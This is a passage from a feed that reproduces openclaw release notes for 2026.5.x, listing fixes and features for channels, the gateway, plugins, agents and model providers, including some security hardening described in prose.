<p>Auto-reply/group chats: fall back to automatic source delivery when a channel precomputes message-tool-only replies but the <code>message</code> tool is unavailable, so Discord/Slack-style group turns do not silently complete without a visible reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355462791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74868/hovercard" href="https://github.com/openclaw/openclaw/issues/74868">#74868</a>. Thanks @kagura-agent.</p>
</li>
<li>
<p>Browser/gateway: share one browser control runtime across the HTTP control server and <code>browser.request</code>, and refresh browser profile config from the source snapshot, so CLI status/start honors configured <code>browser.executablePath</code>, <code>headless</code>, and <code>noSandbox</code> instead of falling back to stale auto-detection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358368287" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75087" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75087/hovercard" href="https://github.com/openclaw/openclaw/issues/75087">#75087</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344146532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73617" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73617/hovercard" href="https://github.com/openclaw/openclaw/issues/73617">#73617</a>. Thanks @civiltox and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</p>
</li>
<li>
<p>Agents/subagents: bound automatic orphan recovery with persisted recovery attempts and a wedged-session tombstone, and teach task maintenance/doctor to reconcile those sessions so restart loops no longer require manual <code>sessions.json</code> surgery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355427349" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74864" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74864/hovercard" href="https://github.com/openclaw/openclaw/issues/74864">#74864</a>. Thanks @solosage1.</p>
</li>
<li>
<p>Plugins/runtime-deps: keep bundled provider policy config loading from staging plugin runtime dependencies, so config reads no longer fail on locked-down <code>/var/lib/openclaw/plugin-runtime-deps</code> directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356579392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74971" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74971/hovercard" href="https://github.com/openclaw/openclaw/issues/74971">#74971</a>. Thanks @eurojojo.</p>
</li>
<li>
<p>Memory/runtime-deps: retain the native <code>node-llama-cpp</code> runtime only when local memory search is configured, so packaged installs can repair local embeddings without relying on unreachable global npm installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355063600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74777/hovercard" href="https://github.com/openclaw/openclaw/issues/74777">#74777</a>. Thanks @LLagoon3.</p>
</li>
<li>
<p>Gateway/startup: skip pre-bind web-fetch provider discovery for credential-free <code>tools.web.fetch</code> config, so Docker/Kubernetes gateways bind even when optional fetch limits are present. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355733598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74896" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74896/hovercard" href="https://github.com/openclaw/openclaw/issues/74896">#74896</a>. Thanks @KoykL.</p>
</li>
<li>
<p>Signal: match group allowlists against inbound Signal group ids as well as sender ids, and process explicitly configured Signal groups without requiring mentions unless <code>requireMention</code> is set. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4124822798" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53308" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53308/hovercard" href="https://github.com/openclaw/openclaw/issues/53308">#53308</a>. Thanks @minupla and @juan-flores077.</p>
</li>
<li>
<p>Signal: bound <code>signal-cli</code> installer release and archive downloads with explicit timeouts, declared and streamed size checks, and partial-file cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131804194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54153" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54153/hovercard" href="https://github.com/openclaw/openclaw/issues/54153">#54153</a>. Thanks @jinduwang1001-max and @juan-flores077.</p>
</li>
<li>
<p>Slack: require bot-authored room messages with <code>allowBots=true</code> to come from an explicitly channel-allowlisted bot or from a room where an explicit Slack owner is present, so broad bot relays cannot run unattended. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190405125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59284/hovercard" href="https://github.com/openclaw/openclaw/issues/59284">#59284</a>. Thanks @andrewhong-translucent.</p>
</li>
<li>
<p>Signal: derive <code>getAttachment</code> HTTP response caps from <code>channels.signal.mediaMaxMb</code> with base64 headroom, so inbound photos and videos no longer drop behind the 1 MiB RPC default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343275028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73564" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73564/hovercard" href="https://github.com/openclaw/openclaw/issues/73564">#73564</a>. Thanks @heyhudson.</p>
</li>
<li>
<p>Signal: keep the long-lived receive SSE monitor open while idle instead of applying the 10s RPC/check deadline, so <code>signal-cli</code> 0.14.3 event streams no longer reconnect before inbound messages arrive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354790687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74741/hovercard" href="https://github.com/openclaw/openclaw/issues/74741">#74741</a>. Thanks @fgabelmannjr and @k7n4n5t3w4rt.</p>
</li>
<li>
<p>CLI/progress: suppress nested progress spinners and line clears while TUI input owns raw stdin, so Crestodian <code>/status</code> no longer disturbs the active input row. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356940813" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75003" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75003/hovercard" href="https://github.com/openclaw/openclaw/pull/75003">#75003</a>) Thanks @velvet-shark.</p>
</li>
<li>
<p>Models/OpenAI Codex: restore <code>openai-codex/gpt-5.4-mini</code> for ChatGPT/Codex OAuth PI runs after live OAuth proof, and align the manifest, forward-compat metadata, docs, and regression tests so stale cron and heartbeat configs resolve again. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351824827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74451/hovercard" href="https://github.com/openclaw/openclaw/issues/74451">#74451</a>. Thanks @0xCyda, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and @Marvae.</p>
</li>
<li>
<p>Plugins/runtime-deps: always write a dependency map in generated runtime-deps install manifests, so npm does not crash or prune staged bundled-plugin packages when the plan is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356326245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74949" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74949/hovercard" href="https://github.com/openclaw/openclaw/issues/74949">#74949</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Telegram: use durable message edits for streaming previews instead of native draft state, so generated replies no longer flicker through draft-to-message transitions that look like duplicates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358015486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75073/hovercard" href="https://github.com/openclaw/openclaw/pull/75073">#75073</a>) Thanks @obviyus.</p>
</li>
<li>
<p>Telegram: echo preflighted DM voice-note transcripts back to the originating chat, including Telegram DM topic thread metadata, instead of only echoing later media-understanding transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358306338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75084" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75084/hovercard" href="https://github.com/openclaw/openclaw/issues/75084">#75084</a>. Thanks @M-Lietz.</p>
</li>
<li>
<p>Telegram: clamp low long-polling client timeouts so configured <code>timeoutSeconds</code> values below the <code>getUpdates</code> poll window no longer force a fresh HTTPS connection every few seconds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358955789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75114" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75114/hovercard" href="https://github.com/openclaw/openclaw/issues/75114">#75114</a>. Thanks @hpinho77.</p>
</li>
<li>
<p>Web search: describe <code>web_search</code> as using the configured provider instead of hard-coding Brave when DuckDuckGo or another provider is active. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358379474" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75088/hovercard" href="https://github.com/openclaw/openclaw/issues/75088">#75088</a>. Thanks @sun-rongyang.</p>
</li>
<li>
<p>Infra/tmp: tolerate concurrent temp-dir permission repairs by rechecking directories that another process already tightened, so parallel ACP subprocess startup no longer throws <code>Unsafe fallback OpenClaw temp dir</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265270151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66867" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66867/hovercard" href="https://github.com/openclaw/openclaw/issues/66867">#66867</a>. Thanks @Kane808-AI and @jarvisz8.</p>
</li>
<li>
<p>Agents/compaction: add an opt-in <code>agents.defaults.compaction.midTurnPrecheck</code> mid-turn precheck that detects tool-loop context pressure and triggers compaction before the next tool call instead of waiting for end-of-turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342551639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73499" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73499/hovercard" href="https://github.com/openclaw/openclaw/pull/73499">#73499</a>) Thanks @marchpure and @haoxingjun.</p>
</li>
<li>
<p>Gateway/approvals: let loopback token/password-backed native approval clients resolve exec approvals without attaching stale paired Gateway identities, while remote and unauthenticated approval clients keep normal device identity behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352121168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74472" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74472/hovercard" href="https://github.com/openclaw/openclaw/pull/74472">#74472</a>)</p>
</li>
<li>
<p>Gateway/config: include rejected validation paths in foreground and service last-known-good recovery logs plus main-agent notices, so unsupported direct edits explain which key caused restore instead of looking like silent reversion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357904226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75060" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75060/hovercard" href="https://github.com/openclaw/openclaw/issues/75060">#75060</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: hash the OS-canonical <code>packageRoot</code> via <code>fs.realpathSync.native</code> (with <code>path.resolve</code> fallback) when computing the bundled runtime-deps stage key, so loader and channel <code>bundled-root</code> callers no longer derive divergent stage directories under <code>~/.openclaw/plugin-runtime-deps/openclaw-&lt;version&gt;-&lt;hash&gt;/</code> and bundled channels stop failing with <code>ENOENT</code> on shared dist chunks under Windows npm symlinks, junctions, or PM2 multi-instance worker layouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356458695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74963" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74963/hovercard" href="https://github.com/openclaw/openclaw/issues/74963">#74963</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357655594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75048" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75048/hovercard" href="https://github.com/openclaw/openclaw/pull/75048">#75048</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>fix(logging): add redaction patterns for Tencent Cloud, Alibaba Cloud, HuggingFace and Replicate API keys (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4176207505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58162/hovercard" href="https://github.com/openclaw/openclaw/pull/58162">#58162</a>). Thanks @gavyngong</p>
</li>
<li>
<p>Pairing: surface unexpected allowlist filesystem stat errors instead of treating the allowlist as missing, so permission and I/O failures are visible during pairing authorization checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226978925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63324/hovercard" href="https://github.com/openclaw/openclaw/pull/63324">#63324</a>) Thanks @franciscomaestre.</p>
</li>
<li>
<p>macOS app: reserve layout space for exec approval command details so the allow dialog no longer overlaps the command, context, and action buttons. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363145435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75470" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75470/hovercard" href="https://github.com/openclaw/openclaw/pull/75470">#75470</a>) Thanks @ngutman.</p>
</li>
<li>
<p>Agents/failover: carry <code>sessionId</code>, <code>lane</code>, <code>provider</code>, <code>model</code>, and <code>profileId</code> attribution through <code>FailoverError</code> and <code>describeFailoverError</code>/<code>coerceToFailoverError</code> so structured error logs (e.g. <code>gateway.err.log</code> ingestion) can attribute exhausted-fallback wrapper errors to the originating session and last-attempted provider instead of dropping the metadata after the per-profile errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4055391486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42713" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42713/hovercard" href="https://github.com/openclaw/openclaw/issues/42713">#42713</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342577768" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73506" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73506/hovercard" href="https://github.com/openclaw/openclaw/pull/73506">#73506</a>) Thanks @wenxu007.</p>
</li>
<li>
<p>Context Engine: treat assembled prompt as the default authority for preemptive overflow prechecks so engines that return a windowed, self-contained context no longer trigger false hard-fail compactions on huge raw history. Engines whose assembled view can hide overflow risk can opt back into the legacy behavior with <code>AssembleResult.promptAuthority: "preassembly_may_overflow"</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349382434" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74255" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74255/hovercard" href="https://github.com/openclaw/openclaw/pull/74255">#74255</a>) Thanks @100yenadmin.</p>
</li>
<li>
<p>Mattermost: refresh current native slash command registrations before accepting callbacks so stale tokens from deleted or regenerated commands stop being accepted without a gateway restart while failed validations stay briefly cached and lookup starts are rate-limited per command, gate each callback against the resolved command's own startup token so a token leaked for one slash command cannot poison another command's failure cache, redact slash validation lookup errors, and add a body read timeout to the multi-account routing path so slow callback senders cannot tie up the dispatcher. Thanks @feynman-hou and @eleqtrizit.</p>
</li>
<li>
<p>Security/dotenv: block <code>COMSPEC</code> in workspace <code>.env</code> so a malicious repo cannot redirect Windows <code>cmd.exe</code> resolution, and lock in case-insensitive workspace-<code>.env</code> regression coverage for the full Windows shell trust-root family (<code>COMSPEC</code>, <code>PROGRAMFILES</code>, <code>PROGRAMW6432</code>, <code>SYSTEMROOT</code>, <code>WINDIR</code>). (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351902035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74460" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74460/hovercard" href="https://github.com/openclaw/openclaw/pull/74460">#74460</a>) Thanks @mmaps.</p>
</li>
<li>
<p>Gateway/install: drop stale version-manager and package-manager PATH entries preserved from old service files during <code>gateway install --force</code> and doctor repair, so the repair path no longer recreates <code>gateway-path-nonminimal</code> warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360586723" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75220" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75220/hovercard" href="https://github.com/openclaw/openclaw/issues/75220">#75220</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363000761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75440" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75440/hovercard" href="https://github.com/openclaw/openclaw/pull/75440">#75440</a>) Thanks @leonaIee, @renaudcerrato, and @aaajiao.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.2-beta.2]]></title>
<description><![CDATA[2026.5.2
Highlights

External plugin installation now covers diagnostics, onboarding, doctor repair, channel setup, install/update records, and artifact metadata while keeping bare package installs on npm for the first cutover. Thanks @vincentkoc.
Gateway startup, session listing, task maintenanc...]]></description>
<link>https://tsecurity.de/de/3482814/downloads/openclaw-202652-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3482814/downloads/openclaw-202652-beta2/</guid>
<pubDate>Sat, 02 May 2026 22:46:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.2</h2>
<h3>Highlights</h3>
<ul>
<li>External plugin installation now covers diagnostics, onboarding, doctor repair, channel setup, install/update records, and artifact metadata while keeping bare package installs on npm for the first cutover. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway startup, session listing, task maintenance, prompt prep, plugin loading, and filesystem hot paths get targeted cache and fanout reductions for large or plugin-heavy installs.</li>
<li>Control UI and WebChat reliability improves across Sessions, Cron, long-running Gateway WebSockets, grouped-message width, slash-command feedback, iOS PWA bounds, selection contrast, and Talk diagnostics.</li>
<li>Channel and provider fixes cover Telegram topic commands and networking, Discord delivery and startup edge cases, OpenAI-compatible TTS/Realtime, OpenRouter/DeepSeek replay, Anthropic-compatible streaming, Brave/SearXNG/Firecrawl web search, and voice-call routing.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>
<p>Gateway/startup: skip plugin-backed auth-profile overlays during startup secrets preflight, reducing gateway readiness latency while keeping reload and OAuth recovery paths overlay-capable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285812464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68327/hovercard" href="https://github.com/openclaw/openclaw/pull/68327">#68327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JIRBOY/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JIRBOY">@JIRBOY</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: make diagnostics, onboarding, doctor repair, and channel setup carry ClawPack metadata through install records while keeping explicit <code>clawhub:</code> installs on ClawHub and bare package installs on npm for the launch cutover. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/CLI: include package dependency install state in <code>openclaw plugins list --json</code> so scripts can spot missing plugin dependencies without runtime-loading plugins.</p>
</li>
<li>
<p>Plugins/runtime: scope broad runtime preloads to the effective plugin ids derived from config, startup planning, configured channels, slots, and auto-enable rules instead of importing every discoverable plugin.</p>
</li>
<li>
<p>Agents/runtime: reuse the startup-loaded plugin registry for request-time providers, tools, channel actions, web/capability/memory/migration helpers, and memoized provider extra-params so stable embedded-run inputs no longer repeat plugin registry resolution while model-specific transport hook patches stay isolated. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</p>
</li>
<li>
<p>Agents/runtime: memoize transcript replay-policy resolution for stable config and process-env runs while preserving custom-env provider hook behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</p>
</li>
<li>
<p>Infra/path-guards: add a fast path for canonical absolute POSIX containment checks, avoiding repeated <code>path.resolve</code> and <code>path.relative</code> work in hot filesystem walkers. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367529908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75895" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75895/hovercard" href="https://github.com/openclaw/openclaw/issues/75895">#75895</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363840300" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75575" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75575/hovercard" href="https://github.com/openclaw/openclaw/issues/75575">#75575</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289737301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68782" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68782/hovercard" href="https://github.com/openclaw/openclaw/issues/68782">#68782</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Enderfga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Enderfga">@Enderfga</a>.</p>
</li>
<li>
<p>Tools: add a platform-level tool descriptor planner for descriptor-first visibility, generic availability checks, and executor references. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Plugins/tools: cache plugin tool descriptors captured from <code>api.registerTool(...)</code> so repeated prompt-time planning can skip plugin runtime loading while execution still loads the live plugin tool. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368991903" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76079" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76079/hovercard" href="https://github.com/openclaw/openclaw/pull/76079">#76079</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Docs/Codex: clarify that ChatGPT/Codex subscription setups should use <code>openai/gpt-*</code> with <code>agentRuntime.id: "codex"</code> for native Codex runtime, while <code>openai-codex/*</code> remains the PI OAuth route. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Plugins/source checkout: load bundled plugins from the <code>extensions/*</code> pnpm workspace tree in source checkouts, so plugin-local dependencies and edits are used directly while packaged installs keep using the built runtime tree. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: externalize ACPX behind the official <code>@openclaw/acpx</code> package so packaged installs keep ACP harness adapter binaries out of core until the ACP backend is installed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: externalize diagnostics OpenTelemetry behind the official <code>@openclaw/diagnostics-otel</code> package so packaged installs keep the OTEL dependency stack out of core until the plugin is installed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: prepare Google Chat, LINE, Matrix, and Mattermost for <code>2026.5.1-beta.2</code> npm and ClawHub publishing, and keep publishable plugin dist trees out of the core npm package. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: prepare BlueBubbles, diagnostics Prometheus, Google Meet, Nextcloud Talk, Nostr, Zalo, and Zalo Personal for <code>2026.5.1-beta.2</code> npm and ClawHub publishing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: prepare diagnostics OpenTelemetry, Discord, Diffs, Lobster, Memory LanceDB, Microsoft Teams, QQ Bot, Voice Call, and WhatsApp for <code>2026.5.1-beta.1</code> npm and ClawHub publishing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/beta: prepare Brave, Codex, Feishu, Synology Chat, Tlon, and Twitch for <code>2026.5.1-beta.1</code> npm and ClawHub publishing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Providers/xAI: add Grok 4.3 to the bundled catalog and make it the default xAI chat model.</p>
</li>
<li>
<p>Google Meet: let API-created rooms set <code>accessType</code> and <code>entryPointAccess</code>, and add <code>googlemeet end-active-conference</code> for closing managed spaces after a call. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355261280" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74824" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74824/hovercard" href="https://github.com/openclaw/openclaw/pull/74824">#74824</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BsnizND/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BsnizND">@BsnizND</a>.</p>
</li>
<li>
<p>Google Meet: add <code>googlemeet test-listen</code> and the matching <code>google_meet</code> <code>test_listen</code> action so transcribe-mode joins wait for real caption or transcript movement before reporting listen-first health. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
